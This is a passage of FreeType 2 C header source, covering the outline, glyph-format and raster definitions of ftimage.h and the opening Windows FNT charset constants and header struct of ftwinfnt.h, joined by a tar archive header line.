<Description> */ /* This structure is used to describe an outline to the scan-line */ /* converter. */ /* */ /* <Fields> */ /* n_contours :: The number of contours in the outline. */ /* */ /* n_points :: The number of points in the outline. */ /* */ /* points :: A pointer to an array of `n_points' @FT_Vector */ /* elements, giving the outline's point coordinates. */ /* */ /* tags :: A pointer to an array of `n_points' chars, giving */ /* each outline point's type. */ /* */ /* If bit~0 is unset, the point is `off' the curve, */ /* i.e., a Bezier control point, while it is `on' if */ /* set. */ /* */ /* Bit~1 is meaningful for `off' points only. If set, */ /* it indicates a third-order Bezier arc control point; */ /* and a second-order control point if unset. */ /* */ /* If bit~2 is set, bits 5-7 contain the drop-out mode */ /* (as defined in the OpenType specification; the value */ /* is the same as the argument to the SCANMODE */ /* instruction). */ /* */ /* Bits 3 and~4 are reserved for internal purposes. */ /* */ /* contours :: An array of `n_contours' shorts, giving the end */ /* point of each contour within the outline. For */ /* example, the first contour is defined by the points */ /* `0' to `contours[0]', the second one is defined by */ /* the points `contours[0]+1' to `contours[1]', etc. */ /* */ /* flags :: A set of bit flags used to characterize the outline */ /* and give hints to the scan-converter and hinter on */ /* how to convert/grid-fit it. See @FT_OUTLINE_XXX. */ /* */ /* <Note> */ /* The B/W rasterizer only checks bit~2 in the `tags' array for the */ /* first point of each contour. The drop-out mode as given with */ /* @FT_OUTLINE_IGNORE_DROPOUTS, @FT_OUTLINE_SMART_DROPOUTS, and */ /* @FT_OUTLINE_INCLUDE_STUBS in `flags' is then overridden. */ /* */ typedef struct FT_Outline_ { short n_contours; /* number of contours in glyph */ short n_points; /* number of points in the glyph */ FT_Vector* points; /* the outline's points */ char* tags; /* the points flags */ short* contours; /* the contour end points */ int flags; /* outline masks */ } FT_Outline; /* */ /* Following limits must be consistent with */ /* FT_Outline.{n_contours,n_points} */ #define FT_OUTLINE_CONTOURS_MAX SHRT_MAX #define FT_OUTLINE_POINTS_MAX SHRT_MAX /*************************************************************************/ /* */ /* <Enum> */ /* FT_OUTLINE_XXX */ /* */ /* <Description> */ /* A list of bit-field constants use for the flags in an outline's */ /* `flags' field. */ /* */ /* <Values> */ /* FT_OUTLINE_NONE :: */ /* Value~0 is reserved. */ /* */ /* FT_OUTLINE_OWNER :: */ /* If set, this flag indicates that the outline's field arrays */ /* (i.e., `points', `flags', and `contours') are `owned' by the */ /* outline object, and should thus be freed when it is destroyed. */ /* */ /* FT_OUTLINE_EVEN_ODD_FILL :: */ /* By default, outlines are filled using the non-zero winding rule. */ /* If set to 1, the outline will be filled using the even-odd fill */ /* rule (only works with the smooth rasterizer). */ /* */ /* FT_OUTLINE_REVERSE_FILL :: */ /* By default, outside contours of an outline are oriented in */ /* clock-wise direction, as defined in the TrueType specification. */ /* This flag is set if the outline uses the opposite direction */ /* (typically for Type~1 fonts). This flag is ignored by the scan */ /* converter. */ /* */ /* FT_OUTLINE_IGNORE_DROPOUTS :: */ /* By default, the scan converter will try to detect drop-outs in */ /* an outline and correct the glyph bitmap to ensure consistent */ /* shape continuity. If set, this flag hints the scan-line */ /* converter to ignore such cases. See below for more information. */ /* */ /* FT_OUTLINE_SMART_DROPOUTS :: */ /* Select smart dropout control. If unset, use simple dropout */ /* control. Ignored if @FT_OUTLINE_IGNORE_DROPOUTS is set. See */ /* below for more information. */ /* */ /* FT_OUTLINE_INCLUDE_STUBS :: */ /* If set, turn pixels on for `stubs', otherwise exclude them. */ /* Ignored if @FT_OUTLINE_IGNORE_DROPOUTS is set. See below for */ /* more information. */ /* */ /* FT_OUTLINE_HIGH_PRECISION :: */ /* This flag indicates that the scan-line converter should try to */ /* convert this outline to bitmaps with the highest possible */ /* quality. It is typically set for small character sizes. Note */ /* that this is only a hint that might be completely ignored by a */ /* given scan-converter. */ /* */ /* FT_OUTLINE_SINGLE_PASS :: */ /* This flag is set to force a given scan-converter to only use a */ /* single pass over the outline to render a bitmap glyph image. */ /* Normally, it is set for very large character sizes. It is only */ /* a hint that might be completely ignored by a given */ /* scan-converter. */ /* */ /* <Note> */ /* The flags @FT_OUTLINE_IGNORE_DROPOUTS, @FT_OUTLINE_SMART_DROPOUTS, */ /* and @FT_OUTLINE_INCLUDE_STUBS are ignored by the smooth */ /* rasterizer. */ /* */ /* There exists a second mechanism to pass the drop-out mode to the */ /* B/W rasterizer; see the `tags' field in @FT_Outline. */ /* */ /* Please refer to the description of the `SCANTYPE' instruction in */ /* the OpenType specification (in file `ttinst1.doc') how simple */ /* drop-outs, smart drop-outs, and stubs are defined. */ /* */ #define FT_OUTLINE_NONE 0x0 #define FT_OUTLINE_OWNER 0x1 #define FT_OUTLINE_EVEN_ODD_FILL 0x2 #define FT_OUTLINE_REVERSE_FILL 0x4 #define FT_OUTLINE_IGNORE_DROPOUTS 0x8 #define FT_OUTLINE_SMART_DROPOUTS 0x10 #define FT_OUTLINE_INCLUDE_STUBS 0x20 #define FT_OUTLINE_HIGH_PRECISION 0x100 #define FT_OUTLINE_SINGLE_PASS 0x200 /* these constants are deprecated; use the corresponding */ /* `FT_OUTLINE_XXX' values instead */ #define ft_outline_none FT_OUTLINE_NONE #define ft_outline_owner FT_OUTLINE_OWNER #define ft_outline_even_odd_fill FT_OUTLINE_EVEN_ODD_FILL #define ft_outline_reverse_fill FT_OUTLINE_REVERSE_FILL #define ft_outline_ignore_dropouts FT_OUTLINE_IGNORE_DROPOUTS #define ft_outline_high_precision FT_OUTLINE_HIGH_PRECISION #define ft_outline_single_pass FT_OUTLINE_SINGLE_PASS /* */ #define FT_CURVE_TAG( flag ) ( flag & 3 ) #define FT_CURVE_TAG_ON 1 #define FT_CURVE_TAG_CONIC 0 #define FT_CURVE_TAG_CUBIC 2 #define FT_CURVE_TAG_HAS_SCANMODE 4 #define FT_CURVE_TAG_TOUCH_X 8 /* reserved for the TrueType hinter */ #define FT_CURVE_TAG_TOUCH_Y 16 /* reserved for the TrueType hinter */ #define FT_CURVE_TAG_TOUCH_BOTH ( FT_CURVE_TAG_TOUCH_X | \ FT_CURVE_TAG_TOUCH_Y ) #define FT_Curve_Tag_On FT_CURVE_TAG_ON #define FT_Curve_Tag_Conic FT_CURVE_TAG_CONIC #define FT_Curve_Tag_Cubic FT_CURVE_TAG_CUBIC #define FT_Curve_Tag_Touch_X FT_CURVE_TAG_TOUCH_X #define FT_Curve_Tag_Touch_Y FT_CURVE_TAG_TOUCH_Y /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Outline_MoveToFunc */ /* */ /* <Description> */ /* A function pointer type used to describe the signature of a `move */ /* to' function during outline walking/decomposition. */ /* */ /* A `move to' is emitted to start a new contour in an outline. */ /* */ /* <Input> */ /* to :: A pointer to the target point of the `move to'. */ /* */ /* user :: A typeless pointer, which is passed from the caller of the */ /* decomposition function. */ /* */ /* <Return> */ /* Error code. 0~means success. */ /* */ typedef int (*FT_Outline_MoveToFunc)( const FT_Vector* to, void* user ); #define FT_Outline_MoveTo_Func FT_Outline_MoveToFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Outline_LineToFunc */ /* */ /* <Description> */ /* A function pointer type used to describe the signature of a `line */ /* to' function during outline walking/decomposition. */ /* */ /* A `line to' is emitted to indicate a segment in the outline. */ /* */ /* <Input> */ /* to :: A pointer to the target point of the `line to'. */ /* */ /* user :: A typeless pointer, which is passed from the caller of the */ /* decomposition function. */ /* */ /* <Return> */ /* Error code. 0~means success. */ /* */ typedef int (*FT_Outline_LineToFunc)( const FT_Vector* to, void* user ); #define FT_Outline_LineTo_Func FT_Outline_LineToFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Outline_ConicToFunc */ /* */ /* <Description> */ /* A function pointer type used to describe the signature of a `conic */ /* to' function during outline walking or decomposition. */ /* */ /* A `conic to' is emitted to indicate a second-order Bezier arc in */ /* the outline. */ /* */ /* <Input> */ /* control :: An intermediate control point between the last position */ /* and the new target in `to'. */ /* */ /* to :: A pointer to the target end point of the conic arc. */ /* */ /* user :: A typeless pointer, which is passed from the caller of */ /* the decomposition function. */ /* */ /* <Return> */ /* Error code. 0~means success. */ /* */ typedef int (*FT_Outline_ConicToFunc)( const FT_Vector* control, const FT_Vector* to, void* user ); #define FT_Outline_ConicTo_Func FT_Outline_ConicToFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Outline_CubicToFunc */ /* */ /* <Description> */ /* A function pointer type used to describe the signature of a `cubic */ /* to' function during outline walking or decomposition. */ /* */ /* A `cubic to' is emitted to indicate a third-order Bezier arc. */ /* */ /* <Input> */ /* control1 :: A pointer to the first Bezier control point. */ /* */ /* control2 :: A pointer to the second Bezier control point. */ /* */ /* to :: A pointer to the target end point. */ /* */ /* user :: A typeless pointer, which is passed from the caller of */ /* the decomposition function. */ /* */ /* <Return> */ /* Error code. 0~means success. */ /* */ typedef int (*FT_Outline_CubicToFunc)( const FT_Vector* control1, const FT_Vector* control2, const FT_Vector* to, void* user ); #define FT_Outline_CubicTo_Func FT_Outline_CubicToFunc /*************************************************************************/ /* */ /* <Struct> */ /* FT_Outline_Funcs */ /* */ /* <Description> */ /* A structure to hold various function pointers used during outline */ /* decomposition in order to emit segments, conic, and cubic Beziers. */ /* */ /* <Fields> */ /* move_to :: The `move to' emitter. */ /* */ /* line_to :: The segment emitter. */ /* */ /* conic_to :: The second-order Bezier arc emitter. */ /* */ /* cubic_to :: The third-order Bezier arc emitter. */ /* */ /* shift :: The shift that is applied to coordinates before they */ /* are sent to the emitter. */ /* */ /* delta :: The delta that is applied to coordinates before they */ /* are sent to the emitter, but after the shift. */ /* */ /* <Note> */ /* The point coordinates sent to the emitters are the transformed */ /* version of the original coordinates (this is important for high */ /* accuracy during scan-conversion). The transformation is simple: */ /* */ /* { */ /* x' = (x << shift) - delta */ /* y' = (y << shift) - delta */ /* } */ /* */ /* Set the values of `shift' and `delta' to~0 to get the original */ /* point coordinates. */ /* */ typedef struct FT_Outline_Funcs_ { FT_Outline_MoveToFunc move_to; FT_Outline_LineToFunc line_to; FT_Outline_ConicToFunc conic_to; FT_Outline_CubicToFunc cubic_to; int shift; FT_Pos delta; } FT_Outline_Funcs; /*************************************************************************/ /* */ /* <Section> */ /* basic_types */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Macro> */ /* FT_IMAGE_TAG */ /* */ /* <Description> */ /* This macro converts four-letter tags to an unsigned long type. */ /* */ /* <Note> */ /* Since many 16-bit compilers don't like 32-bit enumerations, you */ /* should redefine this macro in case of problems to something like */ /* this: */ /* */ /* { */ /* #define FT_IMAGE_TAG( value, _x1, _x2, _x3, _x4 ) value */ /* } */ /* */ /* to get a simple enumeration without assigning special numbers. */ /* */ #ifndef FT_IMAGE_TAG #define FT_IMAGE_TAG( value, _x1, _x2, _x3, _x4 ) \ value = ( ( (unsigned long)_x1 << 24 ) | \ ( (unsigned long)_x2 << 16 ) | \ ( (unsigned long)_x3 << 8 ) | \ (unsigned long)_x4 ) #endif /* FT_IMAGE_TAG */ /*************************************************************************/ /* */ /* <Enum> */ /* FT_Glyph_Format */ /* */ /* <Description> */ /* An enumeration type used to describe the format of a given glyph */ /* image. Note that this version of FreeType only supports two image */ /* formats, even though future font drivers will be able to register */ /* their own format. */ /* */ /* <Values> */ /* FT_GLYPH_FORMAT_NONE :: */ /* The value~0 is reserved. */ /* */ /* FT_GLYPH_FORMAT_COMPOSITE :: */ /* The glyph image is a composite of several other images. This */ /* format is _only_ used with @FT_LOAD_NO_RECURSE, and is used to */ /* report compound glyphs (like accented characters). */ /* */ /* FT_GLYPH_FORMAT_BITMAP :: */ /* The glyph image is a bitmap, and can be described as an */ /* @FT_Bitmap. You generally need to access the `bitmap' field of */ /* the @FT_GlyphSlotRec structure to read it. */ /* */ /* FT_GLYPH_FORMAT_OUTLINE :: */ /* The glyph image is a vectorial outline made of line segments */ /* and Bezier arcs; it can be described as an @FT_Outline; you */ /* generally want to access the `outline' field of the */ /* @FT_GlyphSlotRec structure to read it. */ /* */ /* FT_GLYPH_FORMAT_PLOTTER :: */ /* The glyph image is a vectorial path with no inside and outside */ /* contours. Some Type~1 fonts, like those in the Hershey family, */ /* contain glyphs in this format. These are described as */ /* @FT_Outline, but FreeType isn't currently capable of rendering */ /* them correctly. */ /* */ typedef enum FT_Glyph_Format_ { FT_IMAGE_TAG( FT_GLYPH_FORMAT_NONE, 0, 0, 0, 0 ), FT_IMAGE_TAG( FT_GLYPH_FORMAT_COMPOSITE, 'c', 'o', 'm', 'p' ), FT_IMAGE_TAG( FT_GLYPH_FORMAT_BITMAP, 'b', 'i', 't', 's' ), FT_IMAGE_TAG( FT_GLYPH_FORMAT_OUTLINE, 'o', 'u', 't', 'l' ), FT_IMAGE_TAG( FT_GLYPH_FORMAT_PLOTTER, 'p', 'l', 'o', 't' ) } FT_Glyph_Format; /* these constants are deprecated; use the corresponding */ /* `FT_Glyph_Format' values instead. */ #define ft_glyph_format_none FT_GLYPH_FORMAT_NONE #define ft_glyph_format_composite FT_GLYPH_FORMAT_COMPOSITE #define ft_glyph_format_bitmap FT_GLYPH_FORMAT_BITMAP #define ft_glyph_format_outline FT_GLYPH_FORMAT_OUTLINE #define ft_glyph_format_plotter FT_GLYPH_FORMAT_PLOTTER /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /***** *****/ /***** R A S T E R D E F I N I T I O N S *****/ /***** *****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* A raster is a scan converter, in charge of rendering an outline into */ /* a bitmap. This section contains the public API for rasters. */ /* */ /* Note that in FreeType 2, all rasters are now encapsulated within */ /* specific modules called `renderers'. See `ftrender.h' for more */ /* details on renderers. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Section> */ /* raster */ /* */ /* <Title> */ /* Scanline Converter */ /* */ /* <Abstract> */ /* How vectorial outlines are converted into bitmaps and pixmaps. */ /* */ /* <Description> */ /* This section contains technical definitions. */ /* */ /* <Order> */ /* FT_Raster */ /* FT_Span */ /* FT_SpanFunc */ /* */ /* FT_Raster_Params */ /* FT_RASTER_FLAG_XXX */ /* */ /* FT_Raster_NewFunc */ /* FT_Raster_DoneFunc */ /* FT_Raster_ResetFunc */ /* FT_Raster_SetModeFunc */ /* FT_Raster_RenderFunc */ /* FT_Raster_Funcs */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Raster */ /* */ /* <Description> */ /* An opaque handle (pointer) to a raster object. Each object can be */ /* used independently to convert an outline into a bitmap or pixmap. */ /* */ typedef struct FT_RasterRec_* FT_Raster; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Span */ /* */ /* <Description> */ /* A structure used to model a single span of gray pixels when */ /* rendering an anti-aliased bitmap. */ /* */ /* <Fields> */ /* x :: The span's horizontal start position. */ /* */ /* len :: The span's length in pixels. */ /* */ /* coverage :: The span color/coverage, ranging from 0 (background) */ /* to 255 (foreground). */ /* */ /* <Note> */ /* This structure is used by the span drawing callback type named */ /* @FT_SpanFunc that takes the y~coordinate of the span as a */ /* parameter. */ /* */ /* The coverage value is always between 0 and 255. If you want less */ /* gray values, the callback function has to reduce them. */ /* */ typedef struct FT_Span_ { short x; unsigned short len; unsigned char coverage; } FT_Span; /*************************************************************************/ /* */ /* <FuncType> */ /* FT_SpanFunc */ /* */ /* <Description> */ /* A function used as a call-back by the anti-aliased renderer in */ /* order to let client applications draw themselves the gray pixel */ /* spans on each scan line. */ /* */ /* <Input> */ /* y :: The scanline's y~coordinate. */ /* */ /* count :: The number of spans to draw on this scanline. */ /* */ /* spans :: A table of `count' spans to draw on the scanline. */ /* */ /* user :: User-supplied data that is passed to the callback. */ /* */ /* <Note> */ /* This callback allows client applications to directly render the */ /* gray spans of the anti-aliased bitmap to any kind of surfaces. */ /* */ /* This can be used to write anti-aliased outlines directly to a */ /* given background bitmap, and even perform translucency. */ /* */ typedef void (*FT_SpanFunc)( int y, int count, const FT_Span* spans, void* user ); #define FT_Raster_Span_Func FT_SpanFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Raster_BitTest_Func */ /* */ /* <Description> */ /* Deprecated, unimplemented. */ /* */ typedef int (*FT_Raster_BitTest_Func)( int y, int x, void* user ); /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Raster_BitSet_Func */ /* */ /* <Description> */ /* Deprecated, unimplemented. */ /* */ typedef void (*FT_Raster_BitSet_Func)( int y, int x, void* user ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_RASTER_FLAG_XXX */ /* */ /* <Description> */ /* A list of bit flag constants as used in the `flags' field of a */ /* @FT_Raster_Params structure. */ /* */ /* <Values> */ /* FT_RASTER_FLAG_DEFAULT :: This value is 0. */ /* */ /* FT_RASTER_FLAG_AA :: This flag is set to indicate that an */ /* anti-aliased glyph image should be */ /* generated. Otherwise, it will be */ /* monochrome (1-bit). */ /* */ /* FT_RASTER_FLAG_DIRECT :: This flag is set to indicate direct */ /* rendering. In this mode, client */ /* applications must provide their own span */ /* callback. This lets them directly */ /* draw or compose over an existing bitmap. */ /* If this bit is not set, the target */ /* pixmap's buffer _must_ be zeroed before */ /* rendering. */ /* */ /* Direct rendering is only possible with */ /* anti-aliased glyphs. */ /* */ /* FT_RASTER_FLAG_CLIP :: This flag is only used in direct */ /* rendering mode. If set, the output will */ /* be clipped to a box specified in the */ /* `clip_box' field of the */ /* @FT_Raster_Params structure. */ /* */ /* Note that by default, the glyph bitmap */ /* is clipped to the target pixmap, except */ /* in direct rendering mode where all spans */ /* are generated if no clipping box is set. */ /* */ #define FT_RASTER_FLAG_DEFAULT 0x0 #define FT_RASTER_FLAG_AA 0x1 #define FT_RASTER_FLAG_DIRECT 0x2 #define FT_RASTER_FLAG_CLIP 0x4 /* these constants are deprecated; use the corresponding */ /* `FT_RASTER_FLAG_XXX' values instead */ #define ft_raster_flag_default FT_RASTER_FLAG_DEFAULT #define ft_raster_flag_aa FT_RASTER_FLAG_AA #define ft_raster_flag_direct FT_RASTER_FLAG_DIRECT #define ft_raster_flag_clip FT_RASTER_FLAG_CLIP /*************************************************************************/ /* */ /* <Struct> */ /* FT_Raster_Params */ /* */ /* <Description> */ /* A structure to hold the arguments used by a raster's render */ /* function. */ /* */ /* <Fields> */ /* target :: The target bitmap. */ /* */ /* source :: A pointer to the source glyph image (e.g., an */ /* @FT_Outline). */ /* */ /* flags :: The rendering flags. */ /* */ /* gray_spans :: The gray span drawing callback. */ /* */ /* black_spans :: Unused. */ /* */ /* bit_test :: Unused. */ /* */ /* bit_set :: Unused. */ /* */ /* user :: User-supplied data that is passed to each drawing */ /* callback. */ /* */ /* clip_box :: An optional clipping box. It is only used in */ /* direct rendering mode. Note that coordinates here */ /* should be expressed in _integer_ pixels (and not in */ /* 26.6 fixed-point units). */ /* */ /* <Note> */ /* An anti-aliased glyph bitmap is drawn if the @FT_RASTER_FLAG_AA */ /* bit flag is set in the `flags' field, otherwise a monochrome */ /* bitmap is generated. */ /* */ /* If the @FT_RASTER_FLAG_DIRECT bit flag is set in `flags', the */ /* raster will call the `gray_spans' callback to draw gray pixel */ /* spans. This allows direct composition over a pre-existing bitmap */ /* through user-provided callbacks to perform the span drawing and */ /* composition. Not supported by the monochrome rasterizer. */ /* */ typedef struct FT_Raster_Params_ { const FT_Bitmap* target; const void* source; int flags; FT_SpanFunc gray_spans; FT_SpanFunc black_spans; /* unused */ FT_Raster_BitTest_Func bit_test; /* unused */ FT_Raster_BitSet_Func bit_set; /* unused */ void* user; FT_BBox clip_box; } FT_Raster_Params; /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Raster_NewFunc */ /* */ /* <Description> */ /* A function used to create a new raster object. */ /* */ /* <Input> */ /* memory :: A handle to the memory allocator. */ /* */ /* <Output> */ /* raster :: A handle to the new raster object. */ /* */ /* <Return> */ /* Error code. 0~means success. */ /* */ /* <Note> */ /* The `memory' parameter is a typeless pointer in order to avoid */ /* un-wanted dependencies on the rest of the FreeType code. In */ /* practice, it is an @FT_Memory object, i.e., a handle to the */ /* standard FreeType memory allocator. However, this field can be */ /* completely ignored by a given raster implementation. */ /* */ typedef int (*FT_Raster_NewFunc)( void* memory, FT_Raster* raster ); #define FT_Raster_New_Func FT_Raster_NewFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Raster_DoneFunc */ /* */ /* <Description> */ /* A function used to destroy a given raster object. */ /* */ /* <Input> */ /* raster :: A handle to the raster object. */ /* */ typedef void (*FT_Raster_DoneFunc)( FT_Raster raster ); #define FT_Raster_Done_Func FT_Raster_DoneFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Raster_ResetFunc */ /* */ /* <Description> */ /* FreeType used to provide an area of memory called the `render */ /* pool' available to all registered rasterizers. This was not */ /* thread safe, however, and now FreeType never allocates this pool. */ /* */ /* This function is called after a new raster object is created. */ /* */ /* <Input> */ /* raster :: A handle to the new raster object. */ /* */ /* pool_base :: Previously, the address in memory of the render pool. */ /* Set this to NULL. */ /* */ /* pool_size :: Previously, the size in bytes of the render pool. */ /* Set this to 0. */ /* */ /* <Note> */ /* Rasterizers should rely on dynamic or stack allocation if they */ /* want to (a handle to the memory allocator is passed to the */ /* rasterizer constructor). */ /* */ typedef void (*FT_Raster_ResetFunc)( FT_Raster raster, unsigned char* pool_base, unsigned long pool_size ); #define FT_Raster_Reset_Func FT_Raster_ResetFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Raster_SetModeFunc */ /* */ /* <Description> */ /* This function is a generic facility to change modes or attributes */ /* in a given raster. This can be used for debugging purposes, or */ /* simply to allow implementation-specific `features' in a given */ /* raster module. */ /* */ /* <Input> */ /* raster :: A handle to the new raster object. */ /* */ /* mode :: A 4-byte tag used to name the mode or property. */ /* */ /* args :: A pointer to the new mode/property to use. */ /* */ typedef int (*FT_Raster_SetModeFunc)( FT_Raster raster, unsigned long mode, void* args ); #define FT_Raster_Set_Mode_Func FT_Raster_SetModeFunc /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Raster_RenderFunc */ /* */ /* <Description> */ /* Invoke a given raster to scan-convert a given glyph image into a */ /* target bitmap. */ /* */ /* <Input> */ /* raster :: A handle to the raster object. */ /* */ /* params :: A pointer to an @FT_Raster_Params structure used to */ /* store the rendering parameters. */ /* */ /* <Return> */ /* Error code. 0~means success. */ /* */ /* <Note> */ /* The exact format of the source image depends on the raster's glyph */ /* format defined in its @FT_Raster_Funcs structure. It can be an */ /* @FT_Outline or anything else in order to support a large array of */ /* glyph formats. */ /* */ /* Note also that the render function can fail and return a */ /* `FT_Err_Unimplemented_Feature' error code if the raster used does */ /* not support direct composition. */ /* */ /* XXX: For now, the standard raster doesn't support direct */ /* composition but this should change for the final release (see */ /* the files `demos/src/ftgrays.c' and `demos/src/ftgrays2.c' */ /* for examples of distinct implementations that support direct */ /* composition). */ /* */ typedef int (*FT_Raster_RenderFunc)( FT_Raster raster, const FT_Raster_Params* params ); #define FT_Raster_Render_Func FT_Raster_RenderFunc /*************************************************************************/ /* */ /* <Struct> */ /* FT_Raster_Funcs */ /* */ /* <Description> */ /* A structure used to describe a given raster class to the library. */ /* */ /* <Fields> */ /* glyph_format :: The supported glyph format for this raster. */ /* */ /* raster_new :: The raster constructor. */ /* */ /* raster_reset :: Used to reset the render pool within the raster. */ /* */ /* raster_render :: A function to render a glyph into a given bitmap. */ /* */ /* raster_done :: The raster destructor. */ /* */ typedef struct FT_Raster_Funcs_ { FT_Glyph_Format glyph_format; FT_Raster_NewFunc raster_new; FT_Raster_ResetFunc raster_reset; FT_Raster_SetModeFunc raster_set_mode; FT_Raster_RenderFunc raster_render; FT_Raster_DoneFunc raster_done; } FT_Raster_Funcs; /* */ FT_END_HEADER #endif /* FTIMAGE_H_ */ /* END */ /* Local Variables: */ /* coding: utf-8 */ /* End: */ freetype2/freetype/ftwinfnt.h 0000644 00000024242 15246445047 0012323 0 ustar 00 /***************************************************************************/ /* */ /* ftwinfnt.h */ /* */ /* FreeType API for accessing Windows fnt-specific data. */ /* */ /* Copyright 2003-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTWINFNT_H_ #define FTWINFNT_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* winfnt_fonts */ /* */ /* <Title> */ /* Window FNT Files */ /* */ /* <Abstract> */ /* Windows FNT specific API. */ /* */ /* <Description> */ /* This section contains the declaration of Windows FNT specific */ /* functions. */ /* */ /*************************************************************************/ /************************************************************************* * * @enum: * FT_WinFNT_ID_XXX * * @description: * A list of valid values for the `charset' byte in * @FT_WinFNT_HeaderRec. Exact mapping tables for the various cpXXXX * encodings (except for cp1361) can be found at * ftp://ftp.unicode.org/Public in the MAPPINGS/VENDORS/MICSFT/WINDOWS * subdirectory. cp1361 is roughly a superset of * MAPPINGS/OBSOLETE/EASTASIA/KSC/JOHAB.TXT. * * @values: * FT_WinFNT_ID_DEFAULT :: * This is used for font enumeration and font creation as a * `don't care' value. Valid font files don't contain this value. * When querying for information about the character set of the font * that is currently selected into a specified device context, this * return value (of the related Windows API) simply denotes failure. * * FT_WinFNT_ID_SYMBOL :: * There is no known mapping table available. * * FT_WinFNT_ID_MAC :: * Mac Roman encoding. * * FT_WinFNT_ID_OEM :: * From Michael Poettgen <michael@poettgen.de>: * * The `Windows Font Mapping' article says that FT_WinFNT_ID_OEM * is used for the charset of vector fonts, like `modern.fon', * `roman.fon', and `script.fon' on Windows. * * The `CreateFont' documentation says: The FT_WinFNT_ID_OEM value * specifies a character set that is operating-system dependent. * * The `IFIMETRICS' documentation from the `Windows Driver * Development Kit' says: This font supports an OEM-specific * character set. The OEM character set is system dependent. * * In general OEM, as opposed to ANSI (i.e., cp1252), denotes the * second default codepage that most international versions of * Windows have. It is one of the OEM codepages from * * https://msdn.microsoft.com/en-us/goglobal/bb964655, * * and is used for the `DOS boxes', to support legacy applications. * A German Windows version for example usually uses ANSI codepage * 1252 and OEM codepage 850. * * FT_WinFNT_ID_CP874 :: * A superset of Thai TIS 620 and ISO 8859-11. * * FT_WinFNT_ID_CP932 :: * A superset of Japanese Shift-JIS (with minor deviations). * * FT_WinFNT_ID_CP936 :: * A superset of simplified Chinese GB 2312-1980 (with different * ordering and minor deviations). * * FT_WinFNT_ID_CP949 :: * A superset of Korean Hangul KS~C 5601-1987 (with different * ordering and minor deviations). * * FT_WinFNT_ID_CP950 :: * A superset of traditional Chinese Big~5 ETen (with different * ordering and minor deviations). * * FT_WinFNT_ID_CP1250 :: * A superset of East European ISO 8859-2 (with slightly different * ordering). * * FT_WinFNT_ID_CP1251 :: * A superset of Russian ISO 8859-5 (with different ordering). * * FT_WinFNT_ID_CP1252 :: * ANSI encoding. A superset of ISO 8859-1. * * FT_WinFNT_ID_CP1253 :: * A superset of Greek ISO 8859-7 (with minor modifications). * * FT_WinFNT_ID_CP1254 :: * A superset of Turkish ISO 8859-9. * * FT_WinFNT_ID_CP1255 :: * A superset of Hebrew ISO 8859-8 (with some modifications). * * FT_WinFNT_ID_CP1256 :: * A superset of Arabic ISO 8859-6 (with different ordering). * * FT_WinFNT_ID_CP1257 :: * A superset of Baltic ISO 8859-13 (with some deviations). * * FT_WinFNT_ID_CP1258 :: * For Vietnamese. This encoding doesn't cover all necessary * characters. * * FT_WinFNT_ID_CP1361 :: * Korean (Johab). */ #define FT_WinFNT_ID_CP1252 0 #define FT_WinFNT_ID_DEFAULT 1 #define FT_WinFNT_ID_SYMBOL 2 #define FT_WinFNT_ID_MAC 77 #define FT_WinFNT_ID_CP932 128 #define FT_WinFNT_ID_CP949 129 #define FT_WinFNT_ID_CP1361 130 #define FT_WinFNT_ID_CP936 134 #define FT_WinFNT_ID_CP950 136 #define FT_WinFNT_ID_CP1253 161 #define FT_WinFNT_ID_CP1254 162 #define FT_WinFNT_ID_CP1258 163 #define FT_WinFNT_ID_CP1255 177 #define FT_WinFNT_ID_CP1256 178 #define FT_WinFNT_ID_CP1257 186 #define FT_WinFNT_ID_CP1251 204 #define FT_WinFNT_ID_CP874 222 #define FT_WinFNT_ID_CP1250 238 #define FT_WinFNT_ID_OEM 255 /*************************************************************************/ /* */ /* <Struct> */ /* FT_WinFNT_HeaderRec */ /* */ /* <Description> */ /* Windows FNT Header info. */ /* */ typedef struct FT_WinFNT_HeaderRec_ { FT_UShort version; FT_ULong file_size; FT_Byte copyright[60]; FT_UShort file_type; FT_UShort nominal_point_size; FT_UShort vertical_resolution; FT_UShort horizontal_resolution; FT_UShort ascent; FT_UShort internal_leading; FT_UShort external_leading; FT_Byte italic; FT_Byte underline; FT_Byte strike_out; FT_UShort weight; FT_Byte charset; FT_UShort pixel_width; FT_UShort pixel_height; FT_Byte pitch_and_family; FT_UShort avg_width; FT_UShort max_width; FT_Byte first_char; FT_Byte last_char; FT_Byte default_char; FT_Byte break_char; FT_UShort bytes_per_row; FT_ULong device_offset; FT_ULong face_name_offset; FT_ULong bits_pointer; FT_ULong bits_offset; FT_Byte reserved; FT_ULong flags; FT_UShort A_space; FT_UShort B_space; FT_UShort C_space; FT_UShort color_table_offset; FT_ULong reserved1[4]; } FT_WinFNT_HeaderRec; /*************************************************************************/ /* */ /* <Struct> */ /* FT_WinFNT_Header */ /* */ /* <Description> */ /* A handle to an @FT_WinFNT_HeaderRec structure. */ /* */ typedef struct FT_WinFNT_HeaderRec_* FT_WinFNT_Header; /********************************************************************** * * 